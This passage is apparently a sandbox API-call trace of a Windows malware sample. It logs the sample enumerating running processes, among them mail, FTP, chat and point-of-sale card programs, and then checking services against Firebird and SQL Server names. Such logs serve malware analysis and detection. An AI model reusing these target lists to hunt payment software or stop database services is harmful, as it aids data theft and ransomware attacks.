(lpString="operamail.exe") returned 13 [0063.392] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0063.394] lstrlenW (lpString="pidgin.exe") returned 10 [0063.394] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0063.396] lstrlenW (lpString="scriptftp.exe") returned 13 [0063.397] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0063.399] lstrlenW (lpString="skype.exe") returned 9 [0063.399] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0063.589] lstrlenW (lpString="smartftp.exe") returned 12 [0063.589] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0063.591] lstrlenW (lpString="thunderbird.exe") returned 15 [0063.591] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0063.594] lstrlenW (lpString="totalcmd.exe") returned 12 [0063.594] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0063.596] lstrlenW (lpString="trillian.exe") returned 12 [0063.596] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0063.598] lstrlenW (lpString="webdrive.exe") returned 12 [0063.598] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0063.600] lstrlenW (lpString="whatsapp.exe") returned 12 [0063.600] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0063.602] lstrlenW (lpString="winscp.exe") returned 10 [0063.602] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0063.604] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0063.604] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0063.607] lstrlenW (lpString="active-charge.exe") returned 17 [0063.607] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0063.609] lstrlenW (lpString="accupos.exe") returned 11 [0063.609] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0063.611] lstrlenW (lpString="afr38.exe") returned 9 [0063.611] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0063.613] lstrlenW (lpString="aldelo.exe") returned 10 [0063.613] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0063.615] lstrlenW (lpString="ccv_server.exe") returned 14 [0063.615] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0063.617] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0063.617] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0063.619] lstrlenW (lpString="creditservice.exe") returned 17 [0063.619] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0063.621] lstrlenW (lpString="edcsvr.exe") returned 10 [0063.621] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0063.623] lstrlenW (lpString="fpos.exe") returned 8 [0063.623] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0063.625] lstrlenW (lpString="isspos.exe") returned 10 [0063.625] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0063.626] lstrlenW (lpString="mxslipstream.exe") returned 16 [0063.626] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0063.628] lstrlenW (lpString="omnipos.exe") returned 11 [0063.628] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0063.630] lstrlenW (lpString="spcwin.exe") returned 10 [0063.630] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0063.632] lstrlenW (lpString="spgagentservice.exe") returned 19 [0063.632] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0063.634] lstrlenW (lpString="utg2.exe") returned 8 [0063.634] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="amsterdam.exe")) returned 1 [0063.909] lstrlenW (lpString="amsterdam.exe") returned 13 [0063.909] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="targetannounce.exe")) returned 1 [0063.911] lstrlenW (lpString="targetannounce.exe") returned 18 [0063.911] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="managed-davis.exe")) returned 1 [0063.913] lstrlenW (lpString="managed-davis.exe") returned 17 [0063.913] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discretion_revenue.exe")) returned 1 [0063.915] lstrlenW (lpString="discretion_revenue.exe") returned 22 [0063.915] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyer_canada_wma.exe")) returned 1 [0063.917] lstrlenW (lpString="lawyer_canada_wma.exe") returned 21 [0063.917] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0063.919] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0063.919] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0063.920] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0063.921] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0063.922] lstrlenW (lpString="dllhost.exe") returned 11 [0063.922] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0063.924] lstrlenW (lpString="dllhost.exe") returned 11 [0063.924] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0063.926] lstrlenW (lpString="winhost.exe") returned 11 [0063.926] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xac0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0063.928] lstrlenW (lpString="cmd.exe") returned 7 [0063.928] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0063.929] lstrlenW (lpString="conhost.exe") returned 11 [0063.930] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x990, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0063.932] lstrlenW (lpString="mode.com") returned 8 [0063.932] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x990, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0063.934] CloseHandle (hObject=0x1e4) returned 1 [0063.934] Sleep (dwMilliseconds=0x1f4) [0064.885] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x514dc0 [0064.888] EnumServicesStatusExW (in: hSCManager=0x514dc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0064.892] GetLastError () returned 0xea [0064.892] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x134c) returned 0x50e1c8 [0064.893] EnumServicesStatusExW (in: hSCManager=0x514dc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x50e1c8, cbBufSize=0x134c, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x50e1c8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0064.897] CloseServiceHandle (hSCObject=0x514dc0) returned 1 [0064.897] lstrlenW (lpString="Appinfo") returned 7 [0064.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0064.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0064.897] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0064.898] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0064.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0064.898] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0064.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0064.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0064.898] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0064.898] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0064.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0064.898] lstrlenW (lpString="AudioSrv") returned 8 [0064.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0064.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0064.899] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0064.899] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0064.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0064.899] lstrlenW (lpString="BFE") returned 3 [0064.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0064.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0064.899] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0064.899] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0064.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0064.899] lstrlenW (lpString="CryptSvc") returned 8 [0064.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0064.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0064.899] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0064.900] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0064.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0064.900] lstrlenW (lpString="CscService") returned 10 [0064.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0064.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0064.900] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0064.900] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0064.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0064.900] lstrlenW (lpString="DcomLaunch") returned 10 [0064.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0064.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0064.900] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0064.900] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0064.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0064.901] lstrlenW (lpString="Dhcp") returned 4 [0064.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0064.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0064.901] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0064.901] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0064.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0064.901] lstrlenW (lpString="Dnscache") returned 8 [0064.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0064.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0064.901] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0064.901] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0064.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0064.902] lstrlenW (lpString="DPS") returned 3 [0064.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0064.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0064.902] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0064.902] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0064.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0064.902] lstrlenW (lpString="eventlog") returned 8 [0064.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0064.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0064.902] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0064.902] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0064.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0064.902] lstrlenW (lpString="EventSystem") returned 11 [0064.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0064.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0064.903] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0064.903] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0064.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0064.903] lstrlenW (lpString="FontCache") returned 9 [0064.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0064.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0064.903] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0064.903] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0064.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0064.903] lstrlenW (lpString="gpsvc") returned 5 [0064.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0064.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0064.903] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0064.903] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0064.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0064.903] lstrlenW (lpString="iphlpsvc") returned 8 [0064.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0064.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0064.904] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0064.904] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0064.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0064.904] lstrlenW (lpString="LanmanServer") returned 12 [0064.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0064.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0064.904] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0064.904] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0064.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0064.904] lstrlenW (lpString="LanmanWorkstation") returned 17 [0064.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0064.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0064.905] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0064.905] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0064.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0064.905] lstrlenW (lpString="lmhosts") returned 7 [0064.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0064.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0064.905] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0064.905] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0064.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0064.905] lstrlenW (lpString="MMCSS") returned 5 [0064.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0064.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0064.905] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0064.906] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0064.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0064.906] lstrlenW (lpString="MpsSvc") returned 6 [0064.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0064.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0064.906] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0064.906] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0064.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0064.906] lstrlenW (lpString="Netman") returned 6 [0064.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0064.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0064.906] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0064.906] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0064.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0064.906] lstrlenW (lpString="netprofm") returned 8 [0064.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0064.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0064.907] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0064.907] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0064.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0064.907] lstrlenW 